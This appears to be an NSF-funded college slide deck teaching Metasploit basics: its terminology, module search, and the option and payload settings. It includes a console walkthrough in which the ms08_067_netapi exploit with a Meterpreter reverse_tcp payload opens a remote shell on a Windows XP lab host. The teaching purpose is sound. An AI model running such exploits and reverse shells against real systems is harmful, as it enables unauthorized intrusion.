



# Metasploit Basics



Made possible through support from the National Science Foundation (NSF) award number [1800929](#)

# Objectives

- ▶ Explain Metasploit's Purpose.
- ▶ Define Metasploit Terminology.
- ▶ Discuss Basic Metasploit Usage.
- ▶ Demonstrate Basic Metasploit Usage.

# Metasploit Overview

- ▶ Metasploit is a Ruby based, open-source framework designed to provide a consistent and easily expandable way to use security tools and exploits
  - ▶ Used by black and white hat security professionals
    - ▶ This tool should **NOT** be used in a production environment!



```
#####
##### https://metasploit.com #####
#####
#####
#####
#####
#####
#####
#####
#####
#####
#####
#####
#####

  --[ metasploit v6.0.30-dev ]
+ --[ 2099 exploits - 1129 auxiliary - 357 post ]
+ --[ 592 payloads - 45 encoders - 10 nops ]
+ --[ 7 evasion ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search

msf6 > |
```

```
msf6 > |
```

# Metasploit Terminology

- ▶ Vulnerability - A security flaw in software or hardware that may be susceptible to exploitation.
- ▶ Exploit - The act of taking advantage of a vulnerability.
- ▶ Payload - The module that will execute when the exploit is successful.



# Basic Metasploit Process

- ▶ Find Vulnerability
- ▶ Load Module
- ▶ Set Options
- ▶ Select Payload
- ▶ Set Options
- ▶ Exploit

# Find Vulnerability

- ▶ Metasploit is primary designed to exploit vulnerabilities
- ▶ Metasploit contains tools that can be used to discover systems and vulnerabilities
  - ▶ db\_nmap
    - ▶ Version of nmap that saves results to a database
  - ▶ Connect
    - ▶ Built in ncat program
- ▶ Metasploit is designed to interface with a database to allow you to save your work
- ▶ Metasploit passes any commands it doesn't recognize to the local operating system

# Load Module

- ▶ Modules are Ruby scripts that plug into then extend Metasploit's functionality
- ▶ Exploits are modules that use payloads
- ▶ Search is a useful command used to locate available modules

```
msf6 > search siemens

Matching Modules
-----

#  Name
-  -
0  auxiliary/dos/scada/siemens_siprotec4
mpact EN100 Ethernet Module - Denial of Service
1  auxiliary/gather/ipcamera_password_disclosure
eadfile Password Disclosure
2  auxiliary/scanner/scada/profinet_siemens
3  exploit/windows/browser/sapgui_saveviewtosessionfile
er Overflow
4  exploit/windows/browser/siemens_solid_edge_selistctrlx
ActiveX Remote Code Execution
5  exploit/windows/scada/factorylink_csservice
gging Path Param Buffer Overflow
6  exploit/windows/scada/factorylink_vrn_09
9 Buffer Overflow
7  exploit/windows/smtp/njstar_smtp_bof
Buffer Overflow

Disclosure Date  Rank  Check  Description
-----
2016-08-16      normal No      JVC/Siemens/Vanderbilt IP-Camera R
Siemens SIPROTEC 4 and SIPROTEC Co
Siemens Profinet Scanner
Siemens SAPgui EAI WebViewer3D Buff
Siemens Solid Edge ST4 SEListCtrlX
Siemens FactoryLink 8 CSService Lo
Siemens FactoryLink vrn.exe Opcode
NJStar Communicator 3.00 MiniSMTP
```

# Exploit Options

- ▶ Options control what and how Metasploit module's function
- ▶ Common module options:
  - ▶ RHOSTS - Remote host (the host being targeted)
  - ▶ RPORT - Remote port (the port being targeted)

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
RHOSTS	10.0.255.101	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)



# Payload Type

- ▶ There are many types of payloads
  - ▶ bind - Establish a connection from the local system to the remote system
  - ▶ reverse\_bind - Establish a connection from the remote system to the local system
    - ▶ Normally used when a firewall prevents direct access to the remote system
  - ▶ meterpreter - Fileless shell replacement software for Windows (uses dll injection)

```
meterpreter > help
Core Commands
-----
Command      Description
-----
?            Help menu
background   Backgrounds the current session
bg           Alias for background
bgkill       Kills a background meterpreter script
bglist       Lists running background scripts
bgrun        Executes a meterpreter script as a background thread
channel       Displays information or control active channels
close        Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit         Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid         Get the session GUID
help         Help menu
info         Displays information about a Post module
irb          Open an interactive Ruby shell on the current session
load         Load one or more meterpreter extensions
machine_id   Get the MSF ID of the machine attached to the session
```

# Payload Options

- ▶ Options control what and how Metasploit payload's function
- ▶ Common module options:
  - ▶ LHOST - Local host (the host performing the attack)
  - ▶ LPORT - Local port (the port on the local system that will accept the connection from the target)

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.255.108	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

# Exploit the Target

- ▶ Once the module is loaded, the payload selected and the options set type **exploit** or **run** to activate the module

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.0.255.108:4444
[*] 10.0.255.101:445 - Automatically detecting the target ...
[*] 10.0.255.101:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 10.0.255.101:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 10.0.255.101:445 - Attempting to trigger the vulnerability ...
[*] Sending stage (175174 bytes) to 10.0.255.101
[*] Meterpreter session 3 opened (10.0.255.108:4444 → 10.0.255.101:1079) at 2022-07-13 10:36:23 -0400

meterpreter > █
```

# For More Information

- ▶ For further information go to <https://www.nl.northweststate.edu/camo> or contact:
  - ▶ Tony Hills - [thills@northweststate.edu](mailto:thills@northweststate.edu) - 419-267-1354
  - ▶ Sarah Stubblefield - [sstubblefield@northweststate.edu](mailto:sstubblefield@northweststate.edu) - 419-267-1512
  - ▶ Mike Kwiatkowski - [mkwiatkowski@northweststate.edu](mailto:mkwiatkowski@northweststate.edu) - 419-267-1231



Made possible through support from the National Science Foundation (NSF) award number [1800929](#)